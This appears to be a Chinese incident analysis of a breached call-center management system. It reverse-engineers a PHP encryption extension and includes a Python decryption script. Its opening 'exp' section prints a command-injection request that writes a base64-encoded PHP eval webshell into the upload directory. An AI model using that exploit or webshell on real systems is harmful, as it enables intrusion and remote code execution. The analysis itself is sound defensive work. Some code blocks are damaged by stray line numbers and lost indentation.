public:: true

  • 背景

    • 护网期间话机的供应商昊申,其话务条坐席管理系统被入侵上传了webshell。由于厂商部署的代码是加密的,所以尝试解密代码,分析漏洞原因
    • 漏洞exp:
      • image.png
      • method=system&param=[“echo ‘PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwoka2V5PSI5MDBiYzg4NWQ3NTUzMzc1IjsKJF9TRVNTSU9OWydrJ109JGtleTsKJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CmlmKGlzc2V0KCRwb3N0KSkKewoJJGRhdGFzPWV4cGxvZGUoIlxuIiwkcG9zdCk7CgkkY29kZT0kZGF0YXNbMF07CgkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkkY29kZT0kdCgkY29kZS4iIik7Cglmb3IoJGk9MDskaTxzdHJsZW4oJGNvZGUpOyRpKyspIHsKICAgIAkkY29kZVskaV0gPSAkY29kZVskaV1eJGtleVskaSsxJjE1XTsgCiAgICB9CiAgICAkYXJyPWV4cGxvZGUoJ3wnLCRjb2RlKTsKICAgICRmdW5jPSRhcnJbMF07CiAgICBpZihpc3NldCgkYXJyWzFdKSl7CiAJCSRwPSRhcnJbMV07CgkJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJCUBuZXcgQygkcCk7CiAgICB9Cn0KPz4=’ |base64 -d > /usr/local/atstar/apps/atstar/upload/index.php”]
  • 代码解密

    • 加密代码初步分析

      • 加密代码并没有php标签,不是代码层面混淆,猜测是通过php扩展做的加密
        image.png
      • 在/php/lib/php.ini接口,找到一个自定义的扩展so配置.extension=php_voice.so,文件地址:./php/lib/php/extensions/no-debug-non-zts-20131226/php_voice.so
    • php扩展so文件逆向

      • 定位入口函数

        • php扩展的入口在get_model函数,会指向一个zend_module_entry实例的指针地址,在这里是php_voice_module_entry_ptr
          • image.png
        • image.png
        • php_voice_module_entry是符合zend_module_entry的经典结构体,对照结构体顺序,在这里初始化的函数init_funczm_startup_php_vice
        • image.png
        • image.png
      • zm_startup_php_voice

        • 先会调用gl函数获取license授权,授权通过后hook zend_compile_file,对zend_compile_file函数备份,然后指向自定义的pcompile_file
        • zend_compile_file 是 Zend 引擎用于“编译一个文件”的函数指针接口,签名在不同版本略有变化,但本质都是接收 zend_file_handle、编译选项,返回 zend_op_array
          PHP 在执行 include/require、加载入口脚本时,最终会走到这个编译函数,把源码转成 opcode(OPArray)。
          因此替换它,可以拦截几乎所有基于文件的代码路径。

        • image.png
        • gl验证license伪代码:
          • __int64 __fastcall gl(char *s2)
            {
              __int64 result; // rax
              int v3; // edx
              int v4; // edx
              __int64 v5; // rbp
              int v6; // edx
              __int64 v7; // rbp
              const char *v8; // rax
              const char *v9; // r13
              __int64 v10; // rcx
              tm *p_tp; // rsi
              char *v12; // rdi
              const char *v13; // rax
              const char *v14; // rax
              const char *v15; // rax
              const char *v16; // rax
              const char *v17; // rax
              const char *v18; // rax
              int v19; // edx
              int v20; // edx
              char v21[4096]; // [rsp+0h] [rbp-10F8h] BYREF
              char s1[112]; // [rsp+1000h] [rbp-F8h] BYREF
              tm tp; // [rsp+1070h] [rbp-88h] BYREF
              time_t timer; // [rsp+10B0h] [rbp-48h] BYREF
              __int64 v25; // [rsp+10B8h] [rbp-40h] BYREF
              __int64 v26; // [rsp+10C0h] [rbp-38h] BYREF
              __int64 v27; // [rsp+10C8h] [rbp-30h] BYREF
            
              init_gpgme(0);
              if ( (unsigned int)gpgme_new(&v27) )
                return 4294967216LL;
              if ( (unsigned int)gpgme_data_new_from_file(&v26, "/usr/local/atstar/common/etc/license.lic", 1) )
                return 4294967215LL;
              v3 = gpgme_data_new_from_mem(&v25, 0, 0, 0);
              result = 4294967214LL;
              if ( !v3 )
              {
                v4 = gpgme_op_verify(v27, v26, 0, v25);
                result = 4294967213LL;
                if ( !v4 )
                {
                  v5 = *(_QWORD *)gpgme_op_verify_result(v27);
                  if ( !v5 || *(_QWORD *)v5 )
                  {
                    return 4294967196LL;
                  }
                  else
                  {
                    result = 4294967197LL;
                    if ( !*(_DWORD *)(v5 + 8) )
                    {
                      v6 = strcmp(*(const char **)(v5 + 16), "D44BC8FD2DDD2314CFB333D0935850165D3D0206");
                      result = 4294967198LL;
                      if ( !v6 )
                      {
                        result = 4294967199LL;
                        if ( !*(_WORD *)(v5 + 24) )
                        {
                          result = 4294967200LL;
                          if ( (*(_BYTE *)(v5 + 56) & 1) == 0 )
                          {
                            result = 4294967201LL;
                            if ( !*(_DWORD *)(v5 + 60) )
                            {
                              result = 4294967202LL;
                              if ( !*(_WORD *)(v5 + 64) )
                              {
                                get_gpgme_data(v25, v21);
                                v7 = iniparser_parser(v21);
                                v8 = (const char *)iniparser_getstring(v7, "license:hostID", "");
                                strcpy(s2, v8);
                                v9 = (const char *)iniparser_getstring(v7, "license:expire", "");
                                if ( !strcasecmp(v9, "unlimit") )
                                {
                                  timer = time(0);
                                  gmtime_r(&timer, &tp);
                                  tp.tm_year += 1000;
                                }
                                else
                                {
                                  strptime(v9, "%Y-%m-%d", &tp);
                                }
                                v10 = 14;
                                p_tp = &tp;
                                v12 = s2 + 40;
                                while ( v10 )
                                {
                                  *(_DWORD *)v12 = p_tp->tm_sec;
                                  p_tp = (tm *)((char *)p_tp + 4);
                                  v12 += 4;
                                  --v10;
                                }
                                v13 = (const char *)iniparser_getstring(v7, "license:trunks", "0");
                                strcpy(s2 + 96, v13);
                                v14 = (const char *)iniparser_getstring(v7, "license:exts", "0");
                                strcpy(s2 + 146, v14);
                                v15 = (const char *)iniparser_getstring(v7, "license:company", "");
                                strcpy(s2 + 196, v15);
                                v16 = (const char *)iniparser_getstring(v7, "license:edition", "");
                                strcpy(s2 + 696, v16);
                                v17 = (const char *)iniparser_getstring(v7, "license:type", "outbound");
                                strcpy(s2 + 1770, v17);
                                v18 = (const char *)iniparser_getstring(v7, "license:modules", "");
                                strcpy(s2 + 746, v18);
                                strcat(s2 + 746, ",");
                                (*(void (__fastcall **)(__int64))&iniparser_freedict.st_name)(v7);
                                ghi(s1);
                                v19 = strcmp(s1, s2);
                                result = 2;
                                if ( !v19 )
                                {
                                  timer = time(0);
                                  gmtime_r(&timer, &tp);
                                  v20 = timecmp(s2 + 40, &tp);
                                  result = 3;
                                  if ( v20 != -1 )
                                  {
                                    gpgme_data_release(v26);
                                    gpgme_data_release(v25);
                                    gpgme_release(v27);
                                    return 0;
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
              return result;
            }
            
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22
            23
            24
            25
            26
            27
            28
            29
            30
            31
            32
            33
            34
            35
            36
            37
            38
            39
            40
            41
            - pcompile_file代码 关键点在ext_fopen函数中
            - ```C
            FILE *__fastcall ext_fopen(FILE *stream)
            {
            unsigned int v1; // eax
            int v2; // ebx
            unsigned int v3; // r13d
            void *v4; // rbp
            _BYTE *v5; // rcx
            void *v6; // r12
            FILE *v7; // rbx
            __int64 v9; // [rsp+0h] [rbp-C8h] BYREF
            __int64 v10; // [rsp+30h] [rbp-98h]
            _DWORD v11[11]; // [rsp+9Ch] [rbp-2Ch] BYREF

            v1 = fileno(stream);
            ((void (__fastcall *)(__int64, _QWORD, __int64 *))&iniparser_freedict.st_size)(1, v1, &v9);
            v2 = v10 - 8;
            v3 = v10 - 8;
            v4 = malloc((int)v10 - 8);
            fread(v4, v2, 1u, stream);
            fclose(stream);
            if ( v2 > 0 )
            {
            v5 = v4;
            do
            {
            *v5 = ~(*v5 ^ (d[v2 % 16] + p[2 * (v2 % 16)] + 5)); //核心代码逻辑
            ++v5;
            --v2;
            }
            while ( v2 );
            }
            v6 = (void *)zdecode((__int64)v4, v3, (__int64)v11); //base64解码
            v7 = tmpfile();
            fwrite(v6, v11[0], 1u, v7);
            free(v4);
            free(v6);
            rewind(v7);
            return v7;
            }
          • 核心逻辑:从文件中读取数据,写入到内存v4中,v5 指向v4内存的开始位置。然后通过while遍历字节,对字符进行解密,算法是:~(*v5 ^ (d[v2 % 16] + p[2 * (v2 % 16)] + 5)),最后进行zip解码
            • ~ 取反、^ 异或、d和p两个密钥字典、v2 是数据剩余长度从大到小
            • d是:
              • .data:0000000000207660 ; _WORD d[16]
                .data:0000000000207660 d               dw 2469h, 246Ah, 802Dh, 20A9h, 2FCh, 1B0h, 369h, 1082h
                .data:0000000000207660                                         ; DATA XREF: LOAD:00000000000010A0↑o
                .data:0000000000207660                                         ; .got:d_ptr↑o
                .data:0000000000207670                 dw 1642h, 9Ah, 29h, 57h, 2Dh, 18h, 501h, 22D2h
                
                1
                2
                3
                4
                5
                6
                7
                8
                - P是:
                - ```
                .data:0000000000207640 ; _BYTE p[32]
                .data:0000000000207640 p db 50h, 7, 99h, 26h, 0E1h, 2, 42h, 1, 0CBh, 3, 5Fh, 78h
                .data:0000000000207640 ; DATA XREF: LOAD:0000000000000C98↑o
                .data:0000000000207640 ; .got:p_ptr↑o
                .data:000000000020764C db 6Ah, 26h, 4Ah, 4, 75h, 7, 9Bh, 12h, 48h, 0, 0E3h, 14h
                .data:0000000000207658 db 3Ah, 3, 62h, 0, 57h, 3, 4Ah, 0
            • 整体步骤:
                1. key = (d[v2 % 16] + p[2 * (v2 % 16)] + 5)
                1. *v5 对 key进行异或
                1. 对第二步的结果进行取反
            • 用python表示:
              • d = ...
                p = ...
                n = len(data)
                out = bytearray(n)
                for i, b in enumerate(data):
                  idx = (n - i) % 16
                  key = (D[idx] + P[2 * idx] + 5) & 0xFF  # 只保留低 8 位
                  out[i] = (~(b ^ key)) & 0xFF            # 取反后也限制在 8 位
                return bytes(out)
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40
                41
                42
                43
                44
                45
                46
                47
                48
                49
                50
                51
                52
                53
                54
                55
                56
                57
                58
                59
                60
                61
                62
                63
                64
                65
                66
                67
                68
                69
                70
                71
                72
                73
                74
                75
                76
                77
                78
                79
                80
                81
                82
                83
                84
                85
                86
                87
                88
                89
                90
                91
                92
                93
                94
                95
                96
                97
                98
                99
                100
                101
                102
                103
                104
                105
                106
                107
                108
                109
                110
                111
                112
                113
                114
                115
                116
                117
                118
                119
                120
                121
                122
                123
                124
                125
                126
                127
                128
                129
                130
                131
                132
                133
                134
                - ### 优化后的完整解密代码:
                - ```python3

                #!/usr/bin/env python3
                """
                atstar_batch_decode.py

                递归(或单文件)解密 / 解压以 b"\tATSTAR\t" 头部加密的 PHP 文件。

                用法:

                # 解包单个文件
                python atstar_batch_decode.py /path/file.php

                # 递归解包目录里的所有 .php
                python atstar_batch_decode.py /path/to/dir
                """

                import argparse
                import pathlib
                import sys
                import zlib
                from typing import Iterable

                # ------------------------------------------------------------------ #
                # 1. 16-byte lookup tables —— 按照实际 .so 中值填写
                # ------------------------------------------------------------------ #
                p = [
                0x50, 0x99, 0xE1, 0x42,
                0xCB, 0x5F, 0x6A, 0x4A,
                0x75, 0x9B, 0x48, 0xE3,
                0x3A, 0x62, 0x57, 0x4A,
                ]

                d = [
                0x2469, 0x246A, 0x802D, 0x20A9,
                0x02FC, 0x01B0, 0x0369, 0x1082,
                0x1642, 0x009A, 0x0029, 0x0057,
                0x002D, 0x0018, 0x0501, 0x22D2,
                ]



                MAGIC = b"\tATSTAR\t"
                HEADER_LEN = len(MAGIC)
                SUFFIX = "_ztodecode.php"

                # ------------------------------------------------------------------ #
                # 2. 阶段-1 字节还原 —— 保持与 ext_fopen() 逻辑一致
                # ------------------------------------------------------------------ #
                def stage1_scramble(buf: bytearray) -> None:
                """
                顺序遍历 (pos 0 → n-1),下标公式 idx = (n - pos) % 16
                完全复刻 C 代码里的计算方式。
                """
                n = len(buf)
                for pos in range(n):
                idx = (n - pos) % 16
                key = (p[idx] + (d[idx] & 0xFF) + 5) & 0xFF
                buf[pos] = (~(key ^ buf[pos])) & 0xFF


                # ------------------------------------------------------------------ #
                # 3. 整体解码
                # ------------------------------------------------------------------ #
                def atstar_decrypt(blob: bytes) -> bytes:
                if not blob.startswith(MAGIC):
                raise ValueError("Not ATSTAR file")

                data = bytearray(blob[HEADER_LEN:])
                stage1_scramble(data)

                # 先按 zlib 标准头尝试,失败再按 raw-deflate
                try:
                return zlib.decompress(data)
                except zlib.error:
                return zlib.decompress(data, -15)


                # ------------------------------------------------------------------ #
                # 4. 遍历 .php 文件
                # ------------------------------------------------------------------ #
                def iter_php_files(path: pathlib.Path) -> Iterable[pathlib.Path]:
                if path.is_file():
                if path.suffix.lower() == ".php":
                yield path
                else:
                yield from (p for p in path.rglob("*.php") if p.is_file())


                # ------------------------------------------------------------------ #
                # 5. 主流程
                # ------------------------------------------------------------------ #
                def main() -> None:
                parser = argparse.ArgumentParser(
                description="Decrypt ATSTAR-encrypted PHP files (single file or directory)."
                )
                parser.add_argument("target", type=pathlib.Path, help="文件或目录")
                args = parser.parse_args()

                target: pathlib.Path = args.target.resolve()
                if not target.exists():
                sys.exit("❌ 指定路径不存在")

                total = success = skipped = failed = 0
                for php in iter_php_files(target):
                total += 1
                try:
                blob = php.read_bytes()
                if not blob.startswith(MAGIC):
                skipped += 1
                continue

                plain = atstar_decrypt(blob)
                out_path = php.with_name(php.stem + SUFFIX)
                out_path.write_bytes(plain)
                success += 1
                rel = php.relative_to(target) if target.is_dir() else php.name
                print(f"✔ 解包完成 {rel}{out_path.name}")
                except Exception as exc:
                failed += 1
                print(f"⚠ 失败 {php}: {exc}")

                # 统计
                print("\n=== 统计 ===")
                print(f"总文件数: {total}")
                print(f"已解包 : {success}")
                print(f"跳过 : {skipped}(非 ATSTAR)")
                print(f"失败 : {failed}")


                if __name__ == "__main__":
                main()